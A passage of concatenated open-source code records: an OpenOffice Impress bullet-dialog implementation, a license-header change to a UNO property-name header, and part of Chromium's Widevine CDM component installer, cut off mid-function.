<svx\/dialogs.hrc>\n#ifndef _SFXINTITEM_HXX \/\/autogen\n#include <svtools\/intitem.hxx>\n#endif\n\n#ifndef _SVDMARK_HXX \/\/autogen\n#include <svx\/svdmark.hxx>\n#endif\n\n#ifndef SD_VIEW_HXX\n#include \"View.hxx\"\n#endif\n\n#ifndef _SVDOBJ_HXX \/\/autogen\n#include <svx\/svdobj.hxx>\n#endif\n\n#ifndef _SFXSTYLE_HXX \/\/autogen\n#include <svtools\/style.hxx>\n#endif\n\n#ifndef _DRAWDOC_HXX\n#include <drawdoc.hxx>\n#endif\n\n#ifndef _SD_SDRESID_HXX\n#include \"sdresid.hxx\"\n#endif\n\n#include \"glob.hrc\"\n#include \"dlgolbul.hrc\"\n\/\/#include \"enumdlg.hxx\"\n#include \"bulmaper.hxx\"\n#include \"DrawDocShell.hxx\"\n#include <svx\/svxids.hrc> \/\/add CHINA001\n#include <svtools\/aeitem.hxx> \/\/add CHINA001\n\nnamespace sd {\n\n\/*************************************************************************\n|*\n|* Konstruktor des Tab-Dialogs: Fuegt die Seiten zum Dialog hinzu\n|*\n\\************************************************************************\/\n\nOutlineBulletDlg::OutlineBulletDlg(\n ::Window* pParent,\n const SfxItemSet* pAttr,\n ::sd::View* pView )\n : SfxTabDialog ( pParent, SdResId(TAB_OUTLINEBULLET) ),\n aInputSet ( *pAttr ),\n bTitle ( FALSE ),\n pSdView ( pView )\n{\n FreeResource();\n\n aInputSet.MergeRange( SID_PARAM_NUM_PRESET, SID_PARAM_CUR_NUM_LEVEL );\n aInputSet.Put( *pAttr );\n\n pOutputSet = new SfxItemSet( *pAttr );\n pOutputSet->ClearItem();\n\n BOOL bOutliner = FALSE;\n\n \/\/ Sonderbehandlung wenn eine Title Objekt selektiert wurde\n if( pView )\n {\n const SdrMarkList& rMarkList = pView->GetMarkedObjectList();\n const ULONG nCount = rMarkList.GetMarkCount();\n for(ULONG nNum = 0; nNum < nCount; nNum++)\n {\n SdrObject* pObj = rMarkList.GetMark(nNum)->GetObj();\n if( pObj->GetObjInventor() == SdrInventor )\n {\n\n switch(pObj->GetObjIdentifier())\n {\n case OBJ_TITLETEXT:\n bTitle = TRUE;\n break;\n case OBJ_OUTLINETEXT:\n bOutliner = TRUE;\n break;\n }\n }\n }\n }\n\n if( SFX_ITEM_SET != aInputSet.GetItemState(EE_PARA_NUMBULLET))\n {\n const SvxNumBulletItem *pItem = NULL;\n if(bOutliner)\n {\n SfxStyleSheetBasePool* pSSPool = pView->GetDocSh()->GetStyleSheetPool();\n String aStyleName((SdResId(STR_LAYOUT_OUTLINE)));\n aStyleName.AppendAscii( RTL_CONSTASCII_STRINGPARAM( \" 1\" ) );\n SfxStyleSheetBase* pFirstStyleSheet = pSSPool->Find( aStyleName, SFX_STYLE_FAMILY_PSEUDO);\n if( pFirstStyleSheet )\n pFirstStyleSheet->GetItemSet().GetItemState(EE_PARA_NUMBULLET, FALSE, (const SfxPoolItem**)&pItem);\n }\n\n if( pItem == NULL )\n pItem = (SvxNumBulletItem*) aInputSet.GetPool()->GetSecondaryPool()->GetPoolDefaultItem(EE_PARA_NUMBULLET);\n\n DBG_ASSERT( pItem, \"Kein EE_PARA_NUMBULLET im Pool! [CL]\" );\n\n aInputSet.Put(*pItem, EE_PARA_NUMBULLET);\n }\n\n \/* debug\n if( SFX_ITEM_SET == aInputSet.GetItemState(EE_PARA_NUMBULLET, FALSE, &pItem ))\n {\n SvxNumRule& rItem = *((SvxNumBulletItem*)pItem)->GetNumRule();\n for( int i = 0; i < 9; i++ )\n {\n SvxNumberFormat aNumberFormat = rItem.GetLevel(i);\n }\n }\n *\/\n\n if(bTitle && aInputSet.GetItemState(EE_PARA_NUMBULLET,TRUE) == SFX_ITEM_ON )\n {\n SvxNumBulletItem* pItem = (SvxNumBulletItem*)aInputSet.GetItem(EE_PARA_NUMBULLET,TRUE);\n SvxNumRule* pRule = pItem->GetNumRule();\n if(pRule)\n {\n SvxNumRule aNewRule( *pRule );\n aNewRule.SetFeatureFlag( NUM_NO_NUMBERS, TRUE );\n\n SvxNumBulletItem aNewItem( aNewRule, EE_PARA_NUMBULLET );\n aInputSet.Put(aNewItem);\n }\n }\n\n SdBulletMapper::PreMapNumBulletForDialog( aInputSet );\n\n SetInputSet( &aInputSet );\n\n if(!bTitle)\n AddTabPage(RID_SVXPAGE_PICK_SINGLE_NUM);\/\/CHINA001 AddTabPage(RID_SVXPAGE_PICK_SINGLE_NUM, &SvxSingleNumPickTabPage::Create, 0);\n else\n RemoveTabPage( RID_SVXPAGE_PICK_SINGLE_NUM );\n\n AddTabPage( RID_SVXPAGE_PICK_BULLET ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_PICK_BULLET , &SvxBulletPickTabPage::Create, 0);\n AddTabPage( RID_SVXPAGE_PICK_BMP ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_PICK_BMP , &SvxBitmapPickTabPage::Create, 0);\n AddTabPage(RID_SVXPAGE_NUM_OPTIONS ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_NUM_OPTIONS , &SvxNumOptionsTabPage::Create, 0);\n AddTabPage(RID_SVXPAGE_NUM_POSITION ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_NUM_POSITION , &SvxNumPositionTabPage::Create, 0);\n\n}\n\nOutlineBulletDlg::~OutlineBulletDlg()\n{\n delete pOutputSet;\n}\n\nvoid OutlineBulletDlg::PageCreated( USHORT nId, SfxTabPage &rPage )\n{\n switch ( nId )\n {\n case RID_SVXPAGE_NUM_OPTIONS:\n {\n if( pSdView )\n {\n FieldUnit eMetric = pSdView->GetDoc()->GetUIUnit();\n \/\/CHINA001 ((SvxNumOptionsTabPage&)rPage).SetMetric(eMetric);\n SfxAllItemSet aSet(*(GetInputSetImpl()->GetPool()));\/\/add CHINA001\n aSet.Put ( SfxAllEnumItem(SID_METRIC_ITEM,eMetric));\/\/add CHINA001\n rPage.PageCreated(aSet);\/\/add CHINA001\n }\n }\n break;\n case RID_SVXPAGE_NUM_POSITION:\n {\n if( pSdView )\n {\n FieldUnit eMetric = pSdView->GetDoc()->GetUIUnit();\n \/\/CHINA001 ((SvxNumPositionTabPage&)rPage).SetMetric(eMetric);\n SfxAllItemSet aSet(*(GetInputSetImpl()->GetPool()));\/\/add CHINA001\n aSet.Put ( SfxAllEnumItem(SID_METRIC_ITEM,eMetric));\/\/add CHINA001\n rPage.PageCreated(aSet);\/\/add CHINA001\n }\n }\n break;\n }\n}\n\nconst SfxItemSet* OutlineBulletDlg::GetOutputItemSet() const\n{\n SfxItemSet aSet( *SfxTabDialog::GetOutputItemSet() );\n pOutputSet->Put( aSet );\n\n const SfxPoolItem *pItem = NULL;\n if( SFX_ITEM_SET == pOutputSet->GetItemState(pOutputSet->GetPool()->GetWhich(SID_ATTR_NUMBERING_RULE), FALSE, &pItem ))\n {\n SdBulletMapper::MapFontsInNumRule( *((SvxNumBulletItem*)pItem)->GetNumRule(), *pOutputSet );\n\n SfxUInt16Item aBulletState( EE_PARA_BULLETSTATE, 1 );\n pOutputSet->Put(aBulletState);\n }\n\n SdBulletMapper::PostMapNumBulletForDialog( *pOutputSet );\n\n if(bTitle && pOutputSet->GetItemState(EE_PARA_NUMBULLET,TRUE) == SFX_ITEM_ON )\n {\n SvxNumBulletItem* pItem = (SvxNumBulletItem*)pOutputSet->GetItem(EE_PARA_NUMBULLET,TRUE);\n SvxNumRule* pRule = pItem->GetNumRule();\n if(pRule)\n pRule->SetFeatureFlag( NUM_NO_NUMBERS, FALSE );\n }\n\n return pOutputSet;\n}\n\n} \/\/ end of namespace sd\n<|endoftext|>"} {"text":"<commit_before><commit_msg>fdo#39528: do not lose height of tree list box in Navigator<commit_after><|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: unoprnms.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2004-11-26 20:19:29 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _SD_UNOPRNMS_HXX\n#define _SD_UNOPRNMS_HXX\n\n#define UNO_NAME_MODEL_LANGUAGE \"CharLocale\"\n#define UNO_NAME_MODEL_TABSTOP \"TabStop\"\n\n#define UNO_NAME_PAGE_BACKGROUND \"Background\"\n#define UNO_NAME_PAGE_LEFT \"BorderLeft\"\n#define UNO_NAME_PAGE_RIGHT \"BorderRight\"\n#define UNO_NAME_PAGE_TOP \"BorderTop\"\n#define UNO_NAME_PAGE_BOTTOM \"BorderBottom\"\n#define UNO_NAME_PAGE_CHANGE \"Change\"\n#define UNO_NAME_PAGE_DURATION \"Duration\"\n#define UNO_NAME_PAGE_EFFECT \"Effect\"\n#define UNO_NAME_PAGE_HEIGHT \"Height\"\n#define UNO_NAME_PAGE_LAYOUT \"Layout\"\n#define UNO_NAME_PAGE_NUMBER \"Number\"\n#define UNO_NAME_PAGE_OBJECTS \"Objects\"\n#define UNO_NAME_PAGE_ORIENTATION \"Orientation\"\n#define UNO_NAME_PAGE_SPEED \"Speed\"\n#define UNO_NAME_PAGE_WIDTH \"Width\"\n#define UNO_NAME_PAGE_PREVIEW \"Preview\"\n#define UNO_NAME_PAGE_VISIBLE \"Visible\"\n\n#define UNO_NAME_OBJ_BOOKMARK \"Bookmark\"\n#define UNO_NAME_OBJ_DIMCOLOR \"DimColor\"\n#define UNO_NAME_OBJ_DIMHIDE \"DimHide\"\n#define UNO_NAME_OBJ_DIMPREV \"DimPrevious\"\n#define UNO_NAME_OBJ_EFFECT \"Effect\"\n#define UNO_NAME_OBJ_ISEMPTYPRESOBJ \"IsEmptyPresentationObject\"\n#define UNO_NAME_OBJ_ISPRESOBJ \"IsPresentationObject\"\n#define UNO_NAME_OBJ_CLICKACTION \"OnClick\"\n#define UNO_NAME_OBJ_PLAYFULL \"PlayFull\"\n#define UNO_NAME_OBJ_PRESORDER \"PresentationOrder\"\n#define UNO_NAME_OBJ_SOUNDFILE \"Sound\"\n#define UNO_NAME_OBJ_SOUNDON \"SoundOn\"\n#define UNO_NAME_OBJ_SPEED \"Speed\"\n#define UNO_NAME_OBJ_TEXTEFFECT \"TextEffect\"\n#define UNO_NAME_OBJ_BLUESCREEN \"TransparentColor\"\n#define UNO_NAME_OBJ_VERB \"Verb\"\n#define UNO_NAME_OBJ_STYLE \"Style\"\n#define UNO_NAME_OBJ_MASTERDEPENDENT \"IsPlaceholderDependent\"\n#define UNO_NAME_OBJ_ANIMATIONPATH \"AnimationPath\"\n\n#define UNO_NAME_LAYER_LOCKED \"IsLocked\"\n#define UNO_NAME_LAYER_PRINTABLE \"IsPrintable\"\n#define UNO_NAME_LAYER_VISIBLE \"IsVisible\"\n#define UNO_NAME_LAYER_NAME \"Name\"\n\n#define UNO_NAME_SHOW_ALLOWANIM \"AllowAnimations\"\n#define UNO_NAME_SHOW_CUSTOMSHOW \"CustomShow\"\n#define UNO_NAME_SHOW_FIRSTPAGE \"FirstPage\"\n#define UNO_NAME_SHOW_ONTOP \"IsAlwaysOnTop\"\n#define UNO_NAME_SHOW_AUTOMATIC \"IsAutomatic\"\n#define UNO_NAME_SHOW_ENDLESS \"IsEndless\"\n#define UNO_NAME_SHOW_FULLSCREEN \"IsFullScreen\"\n#define UNO_NAME_SHOW_MOUSEVISIBLE \"IsMouseVisible\"\n#define UNO_NAME_SHOW_PAGERANGE \"PageRange\"\n#define UNO_NAME_SHOW_PAUSE \"Pause\"\n#define UNO_NAME_SHOW_STARTWITHNAV \"StartWithNavigator\"\n#define UNO_NAME_SHOW_USEPEN \"UsePen\"\n\n#define UNO_NAME_SEARCH_BACKWARDS \"SearchBackwards\"\n#define UNO_NAME_SEARCH_CASE \"SearchCaseSensitive\"\n#define UNO_NAME_SEARCH_WORDS \"SearchWords\"\n\n#define UNO_NAME_LINKDISPLAYNAME \"LinkDisplayName\"\n#define UNO_NAME_LINKDISPLAYBITMAP \"LinkDisplayBitmap\"\n\n#define UNO_NAME_STYLE_FAMILY \"Family\"\n#endif\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.4.288); FILE MERGED 2005\/09\/05 13:23:33 rt 1.4.288.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: unoprnms.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 05:59:49 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _SD_UNOPRNMS_HXX\n#define _SD_UNOPRNMS_HXX\n\n#define UNO_NAME_MODEL_LANGUAGE \"CharLocale\"\n#define UNO_NAME_MODEL_TABSTOP \"TabStop\"\n\n#define UNO_NAME_PAGE_BACKGROUND \"Background\"\n#define UNO_NAME_PAGE_LEFT \"BorderLeft\"\n#define UNO_NAME_PAGE_RIGHT \"BorderRight\"\n#define UNO_NAME_PAGE_TOP \"BorderTop\"\n#define UNO_NAME_PAGE_BOTTOM \"BorderBottom\"\n#define UNO_NAME_PAGE_CHANGE \"Change\"\n#define UNO_NAME_PAGE_DURATION \"Duration\"\n#define UNO_NAME_PAGE_EFFECT \"Effect\"\n#define UNO_NAME_PAGE_HEIGHT \"Height\"\n#define UNO_NAME_PAGE_LAYOUT \"Layout\"\n#define UNO_NAME_PAGE_NUMBER \"Number\"\n#define UNO_NAME_PAGE_OBJECTS \"Objects\"\n#define UNO_NAME_PAGE_ORIENTATION \"Orientation\"\n#define UNO_NAME_PAGE_SPEED \"Speed\"\n#define UNO_NAME_PAGE_WIDTH \"Width\"\n#define UNO_NAME_PAGE_PREVIEW \"Preview\"\n#define UNO_NAME_PAGE_VISIBLE \"Visible\"\n\n#define UNO_NAME_OBJ_BOOKMARK \"Bookmark\"\n#define UNO_NAME_OBJ_DIMCOLOR \"DimColor\"\n#define UNO_NAME_OBJ_DIMHIDE \"DimHide\"\n#define UNO_NAME_OBJ_DIMPREV \"DimPrevious\"\n#define UNO_NAME_OBJ_EFFECT \"Effect\"\n#define UNO_NAME_OBJ_ISEMPTYPRESOBJ \"IsEmptyPresentationObject\"\n#define UNO_NAME_OBJ_ISPRESOBJ \"IsPresentationObject\"\n#define UNO_NAME_OBJ_CLICKACTION \"OnClick\"\n#define UNO_NAME_OBJ_PLAYFULL \"PlayFull\"\n#define UNO_NAME_OBJ_PRESORDER \"PresentationOrder\"\n#define UNO_NAME_OBJ_SOUNDFILE \"Sound\"\n#define UNO_NAME_OBJ_SOUNDON \"SoundOn\"\n#define UNO_NAME_OBJ_SPEED \"Speed\"\n#define UNO_NAME_OBJ_TEXTEFFECT \"TextEffect\"\n#define UNO_NAME_OBJ_BLUESCREEN \"TransparentColor\"\n#define UNO_NAME_OBJ_VERB \"Verb\"\n#define UNO_NAME_OBJ_STYLE \"Style\"\n#define UNO_NAME_OBJ_MASTERDEPENDENT \"IsPlaceholderDependent\"\n#define UNO_NAME_OBJ_ANIMATIONPATH \"AnimationPath\"\n\n#define UNO_NAME_LAYER_LOCKED \"IsLocked\"\n#define UNO_NAME_LAYER_PRINTABLE \"IsPrintable\"\n#define UNO_NAME_LAYER_VISIBLE \"IsVisible\"\n#define UNO_NAME_LAYER_NAME \"Name\"\n\n#define UNO_NAME_SHOW_ALLOWANIM \"AllowAnimations\"\n#define UNO_NAME_SHOW_CUSTOMSHOW \"CustomShow\"\n#define UNO_NAME_SHOW_FIRSTPAGE \"FirstPage\"\n#define UNO_NAME_SHOW_ONTOP \"IsAlwaysOnTop\"\n#define UNO_NAME_SHOW_AUTOMATIC \"IsAutomatic\"\n#define UNO_NAME_SHOW_ENDLESS \"IsEndless\"\n#define UNO_NAME_SHOW_FULLSCREEN \"IsFullScreen\"\n#define UNO_NAME_SHOW_MOUSEVISIBLE \"IsMouseVisible\"\n#define UNO_NAME_SHOW_PAGERANGE \"PageRange\"\n#define UNO_NAME_SHOW_PAUSE \"Pause\"\n#define UNO_NAME_SHOW_STARTWITHNAV \"StartWithNavigator\"\n#define UNO_NAME_SHOW_USEPEN \"UsePen\"\n\n#define UNO_NAME_SEARCH_BACKWARDS \"SearchBackwards\"\n#define UNO_NAME_SEARCH_CASE \"SearchCaseSensitive\"\n#define UNO_NAME_SEARCH_WORDS \"SearchWords\"\n\n#define UNO_NAME_LINKDISPLAYNAME \"LinkDisplayName\"\n#define UNO_NAME_LINKDISPLAYBITMAP \"LinkDisplayBitmap\"\n\n#define UNO_NAME_STYLE_FAMILY \"Family\"\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/component_updater\/widevine_cdm_component_installer.h\"\n\n#include <string.h>\n\n#include <vector>\n\n#include \"base\/base_paths.h\"\n#include \"base\/bind.h\"\n#include \"base\/command_line.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/file_util.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/strings\/string_util.h\"\n#include \"base\/values.h\"\n#include \"base\/version.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/browser\/component_updater\/component_updater_service.h\"\n#include \"chrome\/browser\/plugins\/plugin_prefs.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/widevine_cdm_constants.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/plugin_service.h\"\n#include \"content\/public\/common\/pepper_plugin_info.h\"\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n#include \"widevine_cdm_version.h\" \/\/ In SHARED_INTERMEDIATE_DIR.\n\nusing content::BrowserThread;\nusing content::PluginService;\n\nnamespace {\n\n\/\/ TODO(xhwang): Move duplicate code among all component installer\n\/\/ implementations to some common place.\n\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\n\/\/ CRX hash. The extension id is: oimompecagnajdejgnnjijobebaeigek.\nconst uint8 kSha2Hash[] = { 0xe8, 0xce, 0xcf, 0x42, 0x06, 0xd0, 0x93, 0x49,\n 0x6d, 0xd9, 0x89, 0xe1, 0x41, 0x04, 0x86, 0x4a,\n 0x8f, 0xbd, 0x86, 0x12, 0xb9, 0x58, 0x9b, 0xfb,\n 0x4f, 0xbb, 0x1b, 0xa9, 0xd3, 0x85, 0x37, 0xef };\n\n\/\/ File name of the Widevine CDM component manifest on different platforms.\nconst char kWidevineCdmManifestName[] = \"WidevineCdm\";\n\n\/\/ Name of the Widevine CDM OS in the component manifest.\nconst char kWidevineCdmPlatform[] =\n#if defined(OS_MACOSX)\n \"mac\";\n#elif defined(OS_WIN)\n \"win\";\n#else \/\/ OS_LINUX, etc. TODO(viettrungluu): Separate out Chrome OS and Android?\n \"linux\";\n#endif\n\n\/\/ Name of the Widevine CDM architecture in the component manifest.\nconst char kWidevineCdmArch[] =\n#if defined(ARCH_CPU_X86)\n \"x86\";\n#elif defined(ARCH_CPU_X86_64)\n \"x64\";\n#else \/\/ TODO(viettrungluu): Support an ARM check?\n \"???\";\n#endif\n\n\/\/ If we don't have a Widevine CDM component, this is the version we claim.\nconst char kNullVersion[] = \"0.0.0.0\";\n\n\/\/ The base directory on Windows looks like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\.\nbase::FilePath GetWidevineCdmBaseDirectory() {\n base::FilePath result;\n PathService::Get(chrome::DIR_COMPONENT_WIDEVINE_CDM, &result);\n return result;\n}\n\n\/\/ Widevine CDM is packaged as a multi-CRX. Widevine CDM binaries are located in\n\/\/ _platform_specific\/<platform_arch> folder in the package. This function\n\/\/ returns the platform-specific subdirectory that is part of that multi-CRX.\nbase::FilePath GetPlatformDirectory(const base::FilePath& base_path) {\n std::string platform_arch = kWidevineCdmPlatform;\n platform_arch += '_';\n platform_arch += kWidevineCdmArch;\n return base_path.AppendASCII(\"_platform_specific\").AppendASCII(platform_arch);\n}\n\n\/\/ Widevine CDM has the version encoded in the path so we need to enumerate the\n\/\/ directories to find the full path.\n\/\/ On success, |latest_dir| returns something like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\10.3.44.555\\.\n\/\/ |latest_version| returns the corresponding version number. |older_dirs|\n\/\/ returns directories of all older versions.\nbool GetWidevineCdmDirectory(base::FilePath* latest_dir,\n base::Version* latest_version,\n std::vector<base::FilePath>* older_dirs) {\n base::FilePath base_dir = GetWidevineCdmBaseDirectory();\n bool found = false;\n base::FileEnumerator file_enumerator(\n base_dir, false, base::FileEnumerator::DIRECTORIES);\n for (base::FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n base::Version version(path.BaseName().MaybeAsASCII());\n if (!version.IsValid())\n continue;\n if (found) {\n if (version.CompareTo(*latest_version) > 0) {\n older_dirs->push_back(*latest_dir);\n *latest_dir = path;\n *latest_version = version;\n } else {\n older_dirs->push_back(path);\n }\n } else {\n *latest_dir = path;\n *latest_version = version;\n found = true;\n }\n }\n return found;\n}\n\nbool MakeWidevineCdmPluginInfo(const base::FilePath& path,\n const base::Version& version,\n content::PepperPluginInfo* plugin_info) {\n if (!version.IsValid() ||\n version.components().size() !=\n static_cast<size_t>(kWidevineCdmVersionNumComponents)) {\n return false;\n }\n\n plugin_info->is_internal = false;\n \/\/ Widevine CDM must run out of process.\n plugin_info->is_out_of_process = true;\n plugin_info->path = path;\n plugin_info->name = kWidevineCdmDisplayName;\n plugin_info->description = kWidevineCdmDescription;\n plugin_info->version = version.GetString();\n content::WebPluginMimeType widevine_cdm_mime_type(\n kWidevineCdmPluginMimeType,\n kWidevineCdmPluginExtension,\n kWidevineCdmPluginMimeTypeDescription);\n plugin_info->mime_types.push_back(widevine_cdm_mime_type);\n plugin_info->permissions = kWidevineCdmPluginPermissions;\n\n return true;\n}\n\nvoid RegisterWidevineCdmWithChrome(const base::FilePath& path,\n const base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n content::PepperPluginInfo plugin_info;\n if (!MakeWidevineCdmPluginInfo(path, version, &plugin_info))\n return;\n\n PluginService::GetInstance()->RegisterInternalPlugin(\n plugin_info.ToWebPluginInfo(), true);\n PluginService::GetInstance()->RefreshPlugins();\n}\n\n\/\/ Returns true if this browser is compatible with the given Widevine CDM\n\/\/ manifest, with the version specified in the manifest in |version_out|.\nbool CheckWidevineCdmManifest(const base::DictionaryValue& manifest,\n base::Version* version_out) {\n std::string name;\n manifest.GetStringASCII(\"name\", &name);\n\n if (name != kWidevineCdmManifestName)\n return false;\n\n std::string proposed_version;\n manifest.GetStringASCII(\"version\", &proposed_version);\n base::Version version(proposed_version.c_str());\n if (!version.IsValid())\n return false;\n\n *version_out = version;\n return true;\n}\n\nclass WidevineCdmComponentInstaller : public ComponentInstaller {\n public:\n explicit WidevineCdmComponentInstaller(const base::Version& version);\n virtual ~WidevineCdmComponentInstaller() {}\n\n virtual void OnUpdateError(int error) OVERRIDE;\n virtual bool Install(const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) OVERRIDE;\n\n virtual bool GetInstalledFile(const std::string& file,\n base::FilePath* installed_file) OVERRIDE;\n\n private:\n base::Version current_version_;\n};\n\nWidevineCdmComponentInstaller::WidevineCdmComponentInstaller(\n const base::Version& version)\n : current_version_(version) {\n DCHECK(version.IsValid());\n}\n\nvoid WidevineCdmComponentInstaller::OnUpdateError(int error) {\n NOTREACHED() << \"Widevine CDM update error: \" << error;\n}\n\nbool WidevineCdmComponentInstaller::Install(\n const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) {\n base::Version version;\n if (!CheckWidevineCdmManifest(manifest, &version))\n return false;\n if (current_version_.CompareTo(version) > 0)\n return false;\n\n if (!base::PathExists(\n GetPlatformDirectory(unpack_path).AppendASCII(kWidevineCdmFileName))) {\n return false;\n }\n\n base::FilePath adapter_source_path;\n PathService::Get(chrome::FILE_WIDEVINE_CDM_ADAPTER, &adapter_source_path);\n if (!base::PathExists(adapter_source_path))\n return false;\n\n \/\/ Passed the basic tests. Time to install it.\n base::FilePath install_path =\n GetWidevineCdmBaseDirectory().AppendASCII(version.GetString());\n if (base::PathExists(install_path))\n return false;\n if (!base::Move(unpack_path, install_path))\n return false;\n\n base::FilePath adapter_install_path = GetPlatformDirectory(install_path)\n .AppendASCII(kWidevineCdmAdapterFileName);\n if (!base::CopyFile(adapter_source_path, adapter_install_path))\n return false;\n\n \/\/ Installation is done. Now register the Widevine CDM with chrome.\n current_version_ = version;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE, base::Bind(\n &RegisterWidevineCdmWithChrome, adapter_install_path, version));\n return true;\n}\n\n\/\/ Given |file|, a path like \"_platform_specific\/win_x86\/widevinecdm.dll\",\n\/\/ returns the assumed install path. The path separator in |file| is '\/'\n\/\/ for all platforms. Caller is responsible for checking that the\n\/\/ |installed_file| actually exists.\nbool WidevineCdmComponentInstaller::GetInstalledFile(\n const std::string& file, base::FilePath* installed_file) {\n if (current_version_.Equals(base::Version(kNullVersion)))\n return false; \/\/ No CDM has been installed yet.\n\n *installed_file = GetWidevineCdmBaseDirectory().AppendASCII(\n current_version_.GetString()).AppendASCII(file);\n return true;\n}\n\nvoid FinishWidevineCdmUpdateRegistration(ComponentUpdateService* cus,\n const base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n CrxComponent widevine_cdm;\n widevine_cdm.name = \"WidevineCdm\";\n widevine_cdm.installer = new WidevineCdmComponentInstaller(version);\n widevine_cdm.version = version;\n widevine_cdm.pk_hash.assign(kSha2Hash, &kSha2Hash[sizeof(kSha2Hash)]);\n if (cus->RegisterComponent(widevine_cdm) != ComponentUpdateService::kOk) {\n NOTREACHED() << \"Widevine CDM component registration failed.\";\n return;\n }\n}\n\nvoid StartWidevineCdmUpdateRegistration(ComponentUpdateService* cus) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath base_dir = GetWidevineCdmBaseDirectory();\n if (!base::PathExists(base_dir) &&\n !file_util::CreateDirectory(base_dir)) {\n NOTREACHED() << \"Could not create Widevine CDM directory.\";\n return;\n }\n\n base::FilePath latest_dir;\n base::Version version(kNullVersion);\n std::vector<base::FilePath> older_dirs;\n\n if (GetWidevineCdmDirectory(&latest_dir, &version, &older_dirs)) {\n base::FilePath latest_platform_dir = GetPlatformDirectory(latest_dir);\n base::FilePath adapter_path =\n latest_platform_dir.AppendASCII(kWidevineCdmAdapterFileName);\n base::FilePath cdm_path =\n latest_platform_dir.AppendASCII(kWidevineCdmFileName);\n\n if (base::PathExists(adapter_path) &&\n base::PathExists(cdm_path)) {\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterWidevineCdmWithChrome, adapter_path, version));\n } else {\n base::DeleteFile(latest_dir, true);\n version = base::Version(kNullVersion);\n }\n }\n\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&FinishWidevineCdmUpdateRegistration, cus, 